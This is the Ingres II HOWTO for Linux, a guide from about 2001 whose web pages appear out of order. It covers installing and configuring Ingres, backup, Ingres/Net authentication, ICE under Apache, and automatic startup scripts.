By default, rollforwarddb, using the latest checkpoint and all journal files created since that checkpoint, restores the database to its last committed state. However, you can specify a point in time to restore the database to the state it was in at that time. You can go back as far as 16 checkpoints (Ingres stores data for the last 16 checkpoints in the control file of the database).

Both ckpdb and rollforwarddb accept many parameters. You can read more about these commands in the System Reference Guide. Besides, you should read Michael Leo's paper on Ingres backup and recovery at http://www.naiua.org/papers/backup99.zip.

Both ckpdb and rollforwarddb use a template file ($II_SYSTEM/ingres/files/cktmpl.def). By modifying this file, you can customize the Linux commands that do the physical backup and restore of the data files. Consult the Database Administrator's Guide for the syntax of this file.

6.6. Configuring Ingres

Most Ingres parameters can be set via the cbf utility. This is the program by which you can specify the number of DBMS servers, the sizes of different caches and a lot of other variables. The usage of cbf is detailed in the System Reference Guide.

6.7. Monitoring Ingres

You can use the ipm utility to monitor a running Ingres system (Visual DBA only runs on Win32). With ipm, you can monitor and manage user sessions, and also the locking and logging subsystems.

6.8. Message Files

The Ingres message files reside in the $II_SYSTEM/ingres/files directory. The most important of these is errlog.log. Should any problems arise during the running of Ingres, this is the file to check first.

Prev | Home | Next
The Installation Process |  | Ingres/Net


ICE (Internet Commerce Enabled)

Ingres II HOWTO
Prev Next

8. ICE (Internet Commerce Enabled)

ICE is Ingres' proprietary gateway to the Web. Basically, it is a CGI program that can talk to an Ingres server through the native Ingres API. ICE supports a couple of macro commands which you can embed in HTML documents. When rendering such a document, ICE first executes the macros then outputs the resulting web page.

On other platforms you can configure ICE as a server extension to the Spyglass web server which is bundled with Ingres. The Linux version of Ingres does not include Spyglass. Therefore, in this section I will show you how to setup ICE as a standalone CGI program under Apache, the world's most popular web server.

You need the ingvalidpw program for ICE to work. See subsection ingvalidpw on how to install it.

8.1. Configuring Apache

Building, installing and configuring Apache is beyond the scope of this HOWTO. (You had better learn Apache if you are putting your databases on the Web, with ICE or otherwise.)

I suggest to download the newest stable version of Apache in source and build it yourself for maximum flexibility. I also suggest you keep a separate Apache installation just for ICE.

In this subsection I will only cover those parameters of Apache that are important from ICE's point of view.

Things to watch out for:

  • The installed software should be owned by the ingres user. This is not strictly necessary but will make things easier.

  • Compile the mod_env module into the server, preferably statically (do not use DSOs unless you have to: they make Apache slower).

After you have compiled and installed Apache, set the following parameters in httpd.conf:

Port 8000 -- must be greater than 1023
User ingres -- all server processes run as ingres
Group ingres -- the ingres user's group
PassEnv II_SYSTEM
PassEnv LD_LIBRARY_PATH

The last two lines must be added to httpd.conf. These variables will be passed from the environment of the ingres user to the environment of CGI programs started by Apache (specifically iceinst and ice, the two executables of ICE).

8.2. ICE Setup

Now you can configure ICE and its Tutorials. You can do this with a browser and the iceinst program. Let us suppose that your CGI directory is /opt/ingres/apache/cgi-bin and Apache is listening on port 8000. Let the name of your machine be ingserv1. Then you can start iceinst in the following manner:

$ iceinst -d/opt/ingres/apache/cgi-bin -u/cgi-bin -shttp://ingserv1:8000
-b/opt/netscape/netscape

Option -d is the full path to the CGI directory, -u is this directory's address within the site, -s is the Internet address of the server, while -b is the full path to the browser. If you omit option -b and write -remote instead, then iceinst will not try to start the browser. You can configure ICE from another machine then, directing your browser to http://ingserv1/cgi-bin/iceinst.

First the program asks for the value of II_SYSTEM. Then you should visit every screen and set all parameters presented on them. Have iceinst install the Dynamic SQL Tutorial and the Macro Processor Tutorial as well. These show the usage of ICE via applications and a database (icedb by default).

It is important to create a directory under Apache's DocumentRoot where ICE can store the output it creates for clients' requests. ICE will not start until you create this directory and specify its name in iceinst.

After you have completed every form, choose the Install option. If you have set everything properly, the configuration of ICE and the installation of the tutorials take place. ICE is ready to use.

Prev | Home | Next
Ingres/Net |  | Miscellaneous Topics


Ingres II HOWTO

Pal Domokos

pal@palslib.com

Revision History
Revision V1.1.1 | 2001/09/05 | Revised by: pd
E-mail changed; links to further Ingres resources.
Revision V1.1 | 2000/06/20 | Revised by: pd
Extended with material on the full version of Ingres II 2.0
Revision V1.01 | 1999/12/23 | Revised by: pd
Minor fixes
Revision V1.0 | 1999/11/07 | Revised by: pd
Original version

This document helps install the Ingres II Relational Database Management System on Linux. It covers the setup of both the free Software Development Kit and the full version of Ingres. Further sections try to make it easier to start working with Ingres.

Table of Contents
1. Introduction
1.1. Copyright
1.2. Disclaimer
1.3. New Versions of the HOWTO
1.4. Credits
1.5. Audience
2. Ingres
2.1. University Ingres and Commercial Ingres
2.2. The Software Development Kit
2.3. The Beta Version
2.4. The Ingres II Full Edition
2.5. The Unicenter TNG Framework
3. System Requirements
3.1. Hardware
3.2. Software
3.3. Kernel Parameters
3.4. The ingres User and II_SYSTEM
4. Preparing for the Installation
4.1. Ingres Environment Variables
4.2. II_LOG_FILE and II_DUAL_LOG
4.3. Database Locations
4.4. The iidbdb Database
4.5. II_DATABASE
4.6. II_CHECKPOINT
4.7. II_DUMP
4.8. II_JOURNAL
4.9. II_WORK
4.10. Other Ingres Environment Variables
5. The Installation Process
5.1. Starting the Installation Program
5.2. Express Install
5.3. Manual Install
5.4. Completing the Initial Configuration
5.5. Re-installation
5.6. Command Line Install (SDK)
5.7. Client Installation (Full Version)
5.8. The Installer's Log
5.9. Checking the Installation
6. Basic System and Database Administration
6.1. Starting and Stopping Ingres
6.2. New Ingres Users and Locations
6.3. Creating and Destroying Databases
6.4. Collation Sequences
6.5. Backup and Recovery
6.6. Configuring Ingres
6.7. Monitoring Ingres
6.8. Message Files
7. Ingres/Net
7.1. User Authentication
7.2. Login Account Passwords
7.3. Installation Passwords
7.4. ingvalidpw
7.5. Setting up the Client
7.6. Setting up the Server
7.7. Using Net
8. ICE (Internet Commerce Enabled)
8.1. Configuring Apache
8.2. ICE Setup
9. Miscellaneous Topics
9.1. Automatic Startup and Shutdown
9.2. ingmenu
9.3. Circumventing Ingres Net
9.4. Forms-Based Development Tools
9.5. Ingperl and Perl DBI
9.6. Ingres links
Next
Introduction


Ingres

Ingres II HOWTO
Prev Next

2. Ingres

In this section the Ingres II Relational Database Management System is introduced and you come to know how to get it.

2.1. University Ingres and Commercial Ingres

Let us start with an important fact: there are two different types of Ingres. The original one, which was designed and developed in the seventies by a research group led by Michael Stonebraker at the University of California, Berkeley, was the first open source relational database management system: it was free to use and distribute, source code included. In fact, it is still free software, although its development stopped in 1989. Its last version (version 8.9) made it into some Linux distributions as well. If you are interested in it, you can download it from, say, the SuSE site. The packages are:

  • The main software

  • The tools

In 1979, with the foundation of Relational Technology, the career of Commercial Ingres started. Since 1995 it has been distributed by Computer Associates. Its latest version is Ingres II 2.0. This HOWTO deals with the installation of this type of Ingres.

2.2. The Software Development Kit

Ingres, being commercial software, is not free to use. However, CA, like most RDBMS vendors, offers a free version of it (the Software Development Kit) to everyone who is interested in learning Ingres. The SDK has two variants, one for Windows NT and one for Linux. These variants are not quite the same as far as the included components are concerned. Obviously, we are engaged in installing the SDK for Linux here. This contains the following elements:

  • Intelligent DBMS: the database engine.

  • Internet Commerce Enabled (ICE): Ingres' propriatery CGI solution to connect a database to the Web.

  • Enhanced Security: the tool supporting mandatory access control.

  • C2 Security Auditing: the possibility of C2 level auditing.

  • Terminal Monitors: forms-based and command line SQL interfaces.

  • Querying and Reporting Tools: forms-based querying, report-writing and report-running tools plus a forms editor.

  • Querying and Reporting Runtime: like the previous one, but without the forms editor.

  • Vision Pro: integrated, forms-based development environment with a code generator.

  • Embedded SQL Precompilers: precompilers for embedding SQL statements in 3GL applications. Supported languages are: C, C++, COBOL, and Fortran.

You can order a free copy of the Ingres SDK CD on http://www.cai.com/registration/cd_ingres.htm.

Remember that you are not allowed to use the SDK in a business environment. It is for evaluating Ingres and prototyping applications only.

The SDK CD contains both the Windows NT and the Linux versions of the Software Development Kit. You can find the Linux files in the following directories:

  • /doc: the manuals in PDF format, together with the Linux version of Acrobat Reader (linux-ar-40.tar.gz). The installer will not copy the documentation to hard disk. These manuals are also available on http://www.cai.com/products/ingres/documentation_set.htm. I will reference some of them later in this document.

  • /int_lnx: this directory contains ingres.tar, the tarball to be installed. ingres.tar can be installed directly from the CD or you can copy it to hard disk first.

Do not forget to read the Readme file in the root directory on the CD.

2.3. The Beta Version

The freshest beta version of the SDK can always be downloaded from http://www.cai.com/products/betas/ingres_linux/ingres_linux.htm.

Note

At the time of writing, the version of the downloadable beta is 2.5. The next revision of the HOWTO will cover the installation of this version, too. The 2.0 beta is still available on ftp://ftp.cai.com/pub/marketing/ingres/ingresII9808libc6.tar.

2.4. The Ingres II Full Edition

In February 2000 Computer Associates announced the general availability of Ingres II 2.0 for Linux. Besides the components found in the SDK, the full edition contains more modules, such as:

  • Net: this component makes possible for Ingres utilities and user applications to access databases residing on different installations.

  • Replicator: support for replication functions.

  • Star: for handling distributed databases.

  • Enterprise Access: communication with different database management systems and other, non-relational data sources (used to be called Gateways).

  • Protocol Bridge: for communicating with clients on different types of networks.

  • Spatial Object Library: for handling two-dimensional spatial objects.

The CD, besides the /doc and /int_lnx directories that are common with the SDK, contains install.sh, the general Ingres installer and its files. More on install.sh later, in subsection Starting the Installation Program.

2.5. The Unicenter TNG Framework

At last, let me note that the Linux version of CA's Unicenter TNG Framework also includes Ingres as its embedded database management system. For this reason, knowing Ingres may come in handy when using Unicenter, too. You can order a free Unicenter TNG Framework CD on

  • http://www.cai.com/registration/tng_framework_linux/index.htm for RedHat, or

  • http://www.cai.com/registration/tng_framework_linux/suse_linux.htm for SuSE.

Prev | Home | Next
Introduction |  | System Requirements


The Installation Process

Ingres II HOWTO
Prev Next

5. The Installation Process

In this section, the actual installation of Ingres takes place.

5.1. Starting the Installation Program

In the following I will presume that you install directly from the CD which is mounted under /cdrom. Depending on whether you install the SDK or the full version of Ingres, you have to start the installation differently.

For the SDK:

  1. Log in as ingres.

  2. cd to $II_SYSTEM/ingres if it is not your home directory.

  3. Unpack the install subdirectory from the tar file.

  4. Start the ingbuild program.

$ cd $II_SYSTEM/ingres
$ tar xf /cdrom/int_lnx/ingres.tar install
$ install/ingbuild

For the full version:

  1. Log in as root.

  2. Start the installer.

# /cdrom/install.sh

In this latter case, you have to let the installer know the owner of the installation (ingres), and the value of II_SYSTEM. After that, install.sh starts ingbuild for you.

From this point on, the installation process is the same for both options.

On the starting screen of ingbuild you have to specify the path to the tar file and select the type of install: Custom or Package. I suggest you go for Custom Install to be able to choose exactly those elements you want to install.

After choosing Custom Install, a table on the next screen shows all components of your Ingres version together with their respective sizes. Because of common parts in different components, the sizes added up indicate much more disk space than is really needed for the installation.

By default every component is set to be installed. If you want to exclude some of them, write "No" in their "Install?" field.

You had previously decided if the default values for the "stable" Ingres environment variables were acceptable for your installation. If this is the case, you can choose Express Install here. Remember that you can alter the value of II_LOG_FILE as well as the size of the transaction log at any time later.

Tip

If this is your first Ingres install, you have the necessary space under $II_SYSTEM/ingres and the "stable" parameters' default values are OK, I suggest you choose Express Install.

Therefore, let us see this option first.

5.2. Express Install

In the case of Express Install, the installer executes the following tasks:

  • It untars all chosen components from the ingres.tar file to the $II_SYSTEM/ingres/install/tmp directory.

  • Checks the integrity of the components.

  • Puts the components in appropriate subdirectories under $II_SYSTEM/ingres.

  • Sets the Ingres environment variables to their default values.

  • Starts Ingres.

  • Creates the iidbdb database.

  • Takes a checkpoint of iidbdb.

  • Stops Ingres.

  • Sets up those components that require this (ABF, Enhanced Security, etc).

If the installation process went OK, the program tells you that every installed component is ready to use. In the table on the screen the "Install?" column shows "Ready" for every selected component.

Ingres is installed on your machine. Jump to Completing the Initial Configuration.

5.3. Manual Install

If you choose Install rather than Express Install, the installer untars ingres.tar, checks the integrity of the components and puts them in their respective directories. Then it asks you if you want to setup these components now.

If you decide to do the setup later, the installer stops. In the table containing the components the "Install?" column shows "Not Set Up" for every selected component. You can run ingbuild again at any time and choose one of the options Setup All or Setup to set up all or one of the components. A component cannot be used until it has been set up.

Let us see what happens if you choose to set up the components.

First, you have to set up the DBMS server. On the screens to follow you will see a fair amount of explanatory text about the parameters we have covered earlier.

During the setup phase, the installer prompts you for the values of the Ingres environment variables and the other necessary parameters:

  • II_INSTALLATION.

  • II_DATABASE.

  • II_CHECKPOINT: if you set it to the same value as II_DATABASE, the installer warns you of the dangers of losing a database and its backup at the same time. You have to repeat II_CHECKPOINT's value for the program to accept it.

  • II_JOURNAL.

  • II_DUMP.

  • II_WORK.

  • II_LOG_FILE: the installer reminds you of Ingres' capability of mirroring the transaction log. Naturally, it only makes sense if the mirrored log file is on a different disk than the primary log file. The installer asks you if you want to disable dual logging. Then you have to specify the size of the log (16 Mb by default, make it bigger if you have free disk space as I suggested earlier). After this you have to tell the installer where to put the primary log file, and, if you did not switch off dual logging, the dual log file (II_DUAL_LOG).

  • II_NUM_OF_PROCESSORS.

  • II_TIMEZONE_NAME.

  • II_CHARSET.

  • Expected number of concurrent users.

  • SQL-92 compatible databases.

At every prompt, enter the appropriate parameter's previously decided value.

The installer may also ask you about other components you have chosen to install. Accept the defaults for these.

Full Version
If you requested the installation of Net, make ingbuild set it up. Do not bother setting an installation password, unless you know what it is: we will complete Net's configuration later, in its own section (Ingres/Net).

5.4. Completing the Initial Configuration

After an Express Install (but perhaps after a manual install as well), you may want to change the values of some of the Ingres environment variables. You will see how to do this here. Stay logged in as ingres.

You can view the current values of Ingres environment variables with the ingprenv command:

$ ingprenv

You can change the value of any variable with the ingsetenv command:

$ ingsetenv II_TIMEZONE_NAME GMT1

In the example we set II_TIMEZONE_NAME to GMT1 (Greenwich Mean Time + 1 hour), which happens to be the time zone Hungary is placed in. You can find all possible values for II_TIMEZONE_NAME in the file $II_SYSTEM/ingres/files/tz.crs (look for the lists beginning with the word VALID).

You can change the value of any other Ingres environment variable in a similar way. ingprenv and ingsetenv do not require a running Ingres server.

The System Reference Guide contains the description of every Ingres environment variable. Let me mention two of those that we have not covered yet.

II_DATE_FORMAT determines the display format of dates. By default, its value is US which provides the format dd-mmm-yy.

Note

The setting of II_DATE_FORMAT has no effect on the way dates are stored in the database. Ingres always stores full date values, century included. Hence, you can change the setting of II_DATE_FORMAT without the risk of corrupting data. In order to avoid Y2K problems in your applications, you should use a date format that contains the century, such as MULTINATIONAL4 (dd/mm/yyyy) or FINLAND (yyyy-mm-dd). The latter seems especially proper under Linux :-)

Another Ingres environment variable that has a good chance to be changed from its default value is II_MONEY_FORMAT. This one is responsible for how values of money type are displayed.

Note

Just like with dates, the value of II_MONEY_FORMAT has no impact on the storage format of money columns.

II_MONEY_FORMAT consists of two parts: the first part tells whether the currency sign precedes the amount (L = Leading or T = Trailing), the second part describes the currency itself ($, DM, Ft, etc.: this part is a string of maximum 4 characters). The two parts are separated by a colon. II_MONEY_FORMAT defaults to L:$.

Only the ingres user is allowed to use ingsetenv, since these Ingres environment variables apply to the whole installation. However, some Ingres environment variables (including II_DATE_FORMAT and II_MONEY_FORMAT) can be overridden in the users' shell, via Linux variables of the same name. You can check the System Reference Guide about which other variables fall into this category.

Warning

Be careful: Ingres will not prevent you from changing the value of any Ingres environment variable, including II_DATABASE, II_CHECKPOINT, II_CHARSET, etc. (the "stable" parameters as we saw earlier). However, if you change one of these, prepare for the nastiest possible consequences, the mildest one of which is that Ingres will not run.

You can find information on how to setup Net and ICE in separate sections (Ingres/Net, and ICE, respectively).

5.5. Re-installation

If you want to re-install Ingres for any reason, remember to do the following first:

  • Backup everything you need from $II_SYSTEM/ingres (user databases, source code of applications stored there, etc.). Also backup any other databases you want to keep that are stored in different locations. You can use the unloaddb utility for creating portable copies of databases. On unloaddb see the System Reference Guide.

  • Stop Ingres.

  • Remove everything under $II_SYSTEM/ingres. Also remove the contents of every other location where you stored any part of any database.

Warning

Databases that are not completely removed can cause problems when you try to re-create them.

5.6. Command Line Install (SDK)

For installing the SDK, you can run ingbuild in batch mode as well. The easiest way to do an Express Install is to start ingbuild in the following way (logged in as ingres):

$ cd $II_SYSTEM/ingres
$ tar xf /cdrom/int_lnx/ingres.tar install
$ install/ingbuild -express /cdrom/int_lnx/ingres.tar

In this case a regular Express Install takes place without having to press another key.

5.7. Client Installation (Full Version)

If you have the full Ingres version, you may want to set up a client installation. If your application will run on a different machine than the database server, all you need on the application server is a client Ingres installation.

For a client install, choose PackageInstall in ingbuild, then mark "Ingres Networked Client" to be installed. After the installation has been finished, go to section Ingres/Net to set up Net.

5.8. The Installer's Log

No matter which type of install you have chosen (Express or Manual), you can find all of ingbuild's messages in $II_SYSTEM/ingres/files/install.log. I suggest you check this file after an Express Install to see what happened during the installation process. On the other hand, if ingbuild stops with an error message, also check this log for possible clues to the cause of the error.

5.9. Checking the Installation

After you have installed and configured Ingres, it is time to check if it works properly. Supposing you are still logged in as ingres, start the Ingres system:

$ ingstart

Create a new database:

$ createdb test

Start the command line SQL interface:

$ sql test

Create a table, insert a row into it and query the table's contents:

create table t1 (col1 char(10));
insert into t1 values ('abcde');
select * from t1;
\g

If everything went OK, you should see something like the following:

$ sql test
INGRES TERMINAL MONITOR Copyright (c) 1981, 1998 Computer Associates Intl, Inc.
Ingres Linux Version II 2.0/9808 (lnx.us5/95)libc6 login
Sun Oct	3 03:43:54 1999

continue
* create table t1 (col1 char(10));
* insert into t1 values ('abcde');
* select * from t1;
* \g
Executing . . .

(1 row)

col1

abcde

(1 row)
continue
*

You can leave sql with the command \q.

Prev | Home | Next
Preparing for the Installation |  | Basic System and Database Administration


Introduction

Ingres II HOWTO
Prev Next

1. Introduction

1.1. Copyright

Copyright © 1999-2001 by Pal Domokos.

Please freely copy and distribute (sell or give away) this document in any format. It is requested that corrections and/or comments be forwarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  1. Send your derivative work (in the most suitable format such as SGML) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.

  2. License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.

  3. Give due credit to previous authors and major contributors. If you are considering making a derived work other than a translation, it is requested that you discuss your plans with the current maintainer.

1.2. Disclaimer

To put it briefly: there is no warranty about the validity of any other statement in this document. Read and use at your own risk.

Furthermore, I am not an employee of Computer Associates International and I have no official links with CA. This HOWTO is not official documentation.

All copyrights are held by their respective owners. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

1.3. New Versions of the HOWTO

The latest version of this HOWTO can always be found on the Linux Documentation Project's site, in various formats:

  • HTML - multiple pages

  • HTML - multiple pages: tarred and gzipped

  • HTML - single page

  • PDF

  • PostScript - gzipped

  • Text

  • SGML (DocBook) source - gzipped

The LDP has many mirrors around the world, as listed on http://www.linuxdoc.org/mirrors.html. Some of these mirrors may be out of date, though. Therefore I suggest you check LDP's primary site for new versions.

HOWTOs are also bundled with most Linux distributions. If you are reading this HOWTO from your Linux CD, also take a look at LDP's main site to check if a newer version exists.

1.4. Credits

I would like to thank for all the feedback I have received so far. I found especially valuable the contributions of Jorgen Heesche (on forms-based development tools), and Gerhard Hofmann (on the automatic startup and shutdown of Ingres).

Last, but not least, my thanks go to CA for making it possible for me to examine the Ingres II 2.0 Enterprise Edition for Linux.

Naturally, I continue to welcome any comments, criticisms and suggestions. Just email me at <pal@palslib.com>.

1.5. Audience

This HOWTO aims to help install Ingres II on (Intel) Linux. As always, help is useful for those who need it and can utilize it as well.

Therefore:

  • If you are an Ingres pro familiar with Linux then you do not really need to read this HOWTO. Skim through it though if you have time.

  • If you have no previous background in relational database management (experience with at least one real RDBMS, not some dBase-like file management system), you do not know UNIX and have just started using Linux, this HOWTO will not make an easy reading for you. Even then, I do not want to persuade you not to try to install and use Ingres. Do not give up easy!

If you are not a novice in database management and have some working knowledge of Linux, this HOWTO is for you! We are not going to discuss the basics of relational database management or SQL in this document, neither are we going to elaborate on how to edit text files on Linux. You can find as much information on these topics as you want in numerous places. This HOWTO is not an Ingres guide, either: the Ingres manuals serve that purpose.

The objective of this HOWTO is that the reader can prepare for, then implement the installation of Ingres II on Linux, through simple and understandable steps. It also gives starting points for basic Ingres system and database administration.

I can only hope that the HOWTO reaches its goal.

Prev | Home | Next
Ingres II HOWTO |  | Ingres


Miscellaneous Topics

Ingres II HOWTO
Prev

9. Miscellaneous Topics

Further hints to the use of Ingres.

9.1. Automatic Startup and Shutdown

If you want Ingres to start automatically whenever Linux boots and stop when you shutdown or reboot the system, do the following:

Log in as root.

Check if your Linux variant has System V or BSD style init (init's man page will tell that).

If your system conforms to System V, the /etc/rc.d/init.d directory must exist. Create a file there (call it ingres or any other name you wish). The file should contain at least the following:

#!/bin/sh

case $1 in
  start)
    echo "Starting Ingres"
    su - ingres -c "ingstart"
    ;;

  stop)
    echo "Stopping Ingres"
    su - ingres -c "ingstop"
    ;;

  *)
    echo "Usage: ingres {start|stop}"
    exit 1
    ;;
esac

exit 0

Link the file as K01ingres to the directories that correspond to the run levels in which Ingres should stop:

# ln -s /etc/rc.d/init.d/ingres /etc/rc.d/rc0.d/K01ingres
# ln -s /etc/rc.d/init.d/ingres /etc/rc.d/rc1.d/K01ingres
# ln -s /etc/rc.d/init.d/ingres /etc/rc.d/rc6.d/K01ingres

Also link it as S99ingres to the directories that correspond to the run levels in which Ingres should start:

# ln -s /etc/rc.d/init.d/ingres /etc/rc.d/rc2.d/S99ingres
# ln -s /etc/rc.d/init.d/ingres /etc/rc.d/rc3.d/S99ingres
# ln -s /etc/rc.d/init.d/ingres /etc/rc.d/rc4.d/S99ingres
# ln -s /etc/rc.d/init.d/ingres /etc/rc.d/rc5.d/S99ingres

It is not important to call the links K01ingres and S99ingres, the point is that the name starting with K should contain a small number (so that Ingres stops early when changing to a lower runlevel) and the name starting with S should contain a large number (so that Ingres starts after everything else has started). Naturally, the file names must not clash with names of existing files.

If you have a BSD style init, put the following lines into /etc/rc.d/rc.local:

echo "Starting Ingres"
su - ingres -c "ingstart"

This will start Ingres. (As a matter of fact, you can use /etc/rc.d/rc.local even if you have a System V style init.)

To stop Ingres automatically, create a file in /etc/shutdown.d (call it, say, ingres) that contains the commands:

echo "Stopping Ingres"
su - ingres -c "ingstop"

No matter which type your system is, the files you create must be executable files, owned by root.

Naturally, if your system provides a utility for configuring programs to start and stop automatically (such as chkconfig in RedHat), use that if you wish.

9.2. ingmenu

The easiest way to access an Ingres database (at least, for beginners) is via the ingmenu program. From ingmenu, you can reach Ingres' forms-based utilities, by which you can create, update and query tables, create, edit and run reports and ABF or Vision applications. Its usage is:

$ ingmenu test

Test is the name of the database.

9.3. Circumventing Ingres Net

Without Ingres/Net, in theory it is not possible for Ingres applications to access databases on different machines. However, there exists a method, not supported by CA, by which sometimes you can come around this problem.

Let us suppose your application runs on host ingdev and the database (called test) you would like to update or query resides on host ingserv. Your first task is to find out the port number of the appropriate DBMS server running on ingserv. You can use ipm for this purpose: as ingres, start ipm on ingserv and choose option Server List. In the list of servers select one that is of type INGRES and handles the test database (you have to see either test or ALL in column Connecting to Databases). You find the port number of the DBMS server in the first column. Let us suppose it is 1259.

On machine ingdev, set the shell variable II_DBMS_SERVER in the following way:

$ export II_DBMS_SERVER='ingserv::1259'

Now run the command:

$ sql test

If it works, you have access to the test database on host ingserv.

This solution is applicable only if both machines are of the same architecture, the same operating system is running on both of them, the character set is the same in both Ingres installations, and so on: I do not know the full list of necessary conditions. Therefore, I cannot guarantee that this trick will work.

On the other hand, if you restart Ingres on host ingserv, the DBMS server process will get a different TCP/IP port, therefore you probably have to automate the fetching of the current port number to the application server. You can use the show command of the iinamu utility for this purpose. The following command line gives the port number of the DBMS server if there is only one server running:

$ echo show | iinamu | grep INGRES | tr -s ' ' '\t' | cut -f4

9.4. Forms-Based Development Tools

The Ingres installation includes a sample application, created by ABF, the traditional development tool of Ingres. You can load it with the abfdemo command. Unfortunately, the manuals of ABF and Vision cannot be found either on the Ingres CD or on the CA site.

There is a problem with the SDK under glibc 2.1: applications created by ABF or Vision cannot be either compiled or run directly from the database. This problem is solved in the full Ingres version. For the SDK, install the RedHat glibc 2.0 compatibility packages. If you do not have RedHat, download them from the following URLs:

  • ftp://ftp.redhat.com/pub/redhat/redhat-6.0/i386/RedHat/RPMS/compat-binutils-5.2-2.9.1.0.23.1.i386.rpm

  • ftp://ftp.redhat.com/pub/redhat/redhat-6.0/i386/RedHat/RPMS/compat-egcs-5.2-1.0.3a.1.i386.rpm

  • ftp://ftp.redhat.com/pub/redhat/redhat-6.0/i386/RedHat/RPMS/compat-glibc-5.2-2.0.7.1.i386.rpm

  • ftp://ftp.redhat.com/pub/redhat/redhat-6.0/i386/RedHat/RPMS/compat-libs-5.2-1.i386.rpm

Besides the compatibility packages, you need an Ingres patch. It was posted on the Ingres newsgroup in September, 1999. I have a copy of it, email me if you wish to install it.

The compatibility packages and the patch probably do not work for all Linux distributions. I only tested them on RedHat and Caldera Open Linux.

9.5. Ingperl and Perl DBI

Previous Perl versions, version 4 included, made Ingres access possible via libraries known as ingperl. You can find information on ingperl at http://www.contrib.andrew.cmu.edu/~lfm/ingperl.html.

In Perl 5 a new, unified database interface, called Perl DBI, appeared. Its site is http://www.symbolstone.org/technology/perl/DBI/index.html.

You can download the Ingres module of DBI from that site.

9.6. Ingres links

I leave you with a few pointers to important Ingres sites:

  • http://www.cai.com/ingres/: home page of the Ingres RDBMS on CA's site.

  • http://support.cai.com/ingressupp.html: Ingres Technical Support.

  • http://www.cai.com/ingres/inquire/: inquire_ingres: Ingres technical magazine.

  • http://www.naiua.org: the North American Ingres Users Association's site. Check the FAQ page, and the /papers directory.

  • news:comp.databases.ingres: the Ingres newsgroup.

  • http://www.deja.com/group/comp.databases.ingres: the archived Ingres newsgroup on Deja.

  • http://munkora.cs.mu.oz.au/~yuan/Ingres/ingres.html: William Yuan's Ingres Reference Page with lots of Ingres information.

  • http://www.mercurie.co.uk/ingres/: Prijesh Patel's Unofficial Ingres Web Page with edited posts from the Ingres newsgroup.

  • http://www.palslib.com/Ingres_II/Ingres_II.html: the Ingres section of Pal's Linux RDBMS Library.

Have fun!

Prev | Home
ICE (Internet Commerce Enabled) |


Ingres/Net

Ingres II HOWTO
Prev Next

7. Ingres/Net

Ingres/Net is not part of the SDK. You only get it with the full version of Ingres. It allows applications (Ingres utilities and user programs alike) to access Ingres databases on other installations (usually on different machines as well). On the machine where the application runs, a client Ingres installation must be set up. We covered the installation of the client in subsection Client Installation. (Naturally, the client can also be a full Ingres installation.)

In this section you will see how to set up Net on both the client and server to provide remote access to the DBMS server. For a complete description of Ingres/Net I suggest you consult the Ingres/Net User Guide.

Before starting with Net, however, we need some information on how Ingres authenticates its users.

7.1. User Authentication

We saw earlier that only valid Ingres users can access an Ingres installation. Ingres keeps information on its users in the iidbdb database. But how does Ingres authenticate users?

In case of local access, the answer is simple: Ingres asks the operating system who the user is.

There is an exception to this rule: certain users may be granted the privilige to impersonate other Ingres users when starting an Ingres utility or application. That is why it is not necessary for every Ingres user to have an OS account. This privilege, however, can only be granted as all-or-none: if you give it to somebody, he/she will be able to impersonate any other Ingres user, including the ingres account. Therefore, never grant it to anyone.

Leaving the authentication of users to the operating system works fine for local access. But what about users who want to use the database from a remote machine? They do not log in to the machine the database resides on (the server), therefore the server's operating system will not authenticate them (they may not even have an OS account on the server machine).

There are two possible ways Ingres can authenticate these users. We will cover them in the next two subsections.

7.2. Login Account Passwords

The first solution to the remote user authentication problem is to require that the client provides a local (to the server machine) user name and password. Then the Ingres server authenticates these through standard OS facilities, just like the operating system would do with real local accounts.

In this case, you do not have to set anything in Net on the server. The only thing you will need is the ingvalidpw Ingres utility. It will check (by using the getspnam and crypt OS functions) if the user's name and password are valid on the server machine. On how to install ingvalidpw, see subsection ingvalidpw.

7.3. Installation Passwords

The other way of authenticating remote users is that the server accepts their user ID on the client machine. In this case, the remote users do not have to be known to the OS on the server.

How will the server validate clients in this case? It is obvious that we need some kind of authentication: anybody can create an ingres account on a client machine, then he/she could connect to the installation as the ingres super-user.

This is where the installation password comes in: you set an installation password on the server. You then set this password on the client machines for those accounts that you want to allow to access the server under their name on the client.

The Ingres server can then authenticate the client by simply checking its installation password.

7.4. ingvalidpw

As ingbuild apparently does not bother installing ingvalidpw, you have to build it yourself.

Login as root, set the environment as that of ingres, then simply type

# mkvalidpw

This script builds and installs ingvalidpw.

7.5. Setting up the Client

You will use the netutil utility to set up Net on the client side, and, in the case of installation passwords, also on the server. Let us see the client side first. Log in as the account you want to grant access to, or ingres, if you want to set up general access. Then type:

$ netutil

You can see three tables on netutil's screen. Let us see what fields each of them contains:

  • Virtual Node Name: this is the name by which you identify the remote Ingres installation, similarly as you would define an ODBC data source name. The name is of local scope and has nothing to do either with the server machine's name or the remote installation's code.

  • Login/Password Data: one or two entries of the following:

    • Type: can be Global, or Private. If Private, the entry will only pertain to the current account. If Global, it will be used for all users on the client machine, except for those with a Private entry.

    • Login: the user account on the server machine. In case of an installation password, it should be *.

    • Password: the password on the server machine (the above user's password, or the installation password).

  • Connection Data: at least one entry of the following:

    • Type: can be Global, or Private. The same applies as in Login/Password Data.

    • Network Address: the server machine's address.

    • Protocol: the network protocol. On Linux, it is probably tcp_ip.

    • Listen Address: listen address of the communication server as set up by cbf. By default, it is the same as the installation code.

7.6. Setting up the Server

If you want to use an installation password, you have to configure Net on the server, too. In netutil, create a virtual node with the following data:

  • Virtual Node Name: must be the machine's name.

  • Login/Password Data

    • Type: Global.

    • Login: *.

    • Password: enter the installation password.

  • Connection Data: you do not have to enter any data here.

7.7. Using Net

After you have configured Net with netutil on the client, and, if necessary, on the server, use netutil's Test menu option to see if the connection works. If it does, you can access a remote database in the following manner (let us suppose the name of the database is test, the virtual node name for the remote Ingres installation is ingserv1):

$ sql ingserv1::test

Prev | Home | Next
Basic System and Database Administration |  | ICE (Internet Commerce Enabled)


Preparing for the Installation

Ingres II HOWTO
Prev Next

4. Preparing for the Installation

This is the longest section and so it should be: after careful planning the installation itself should be an easy task.

4.1. Ingres Environment Variables

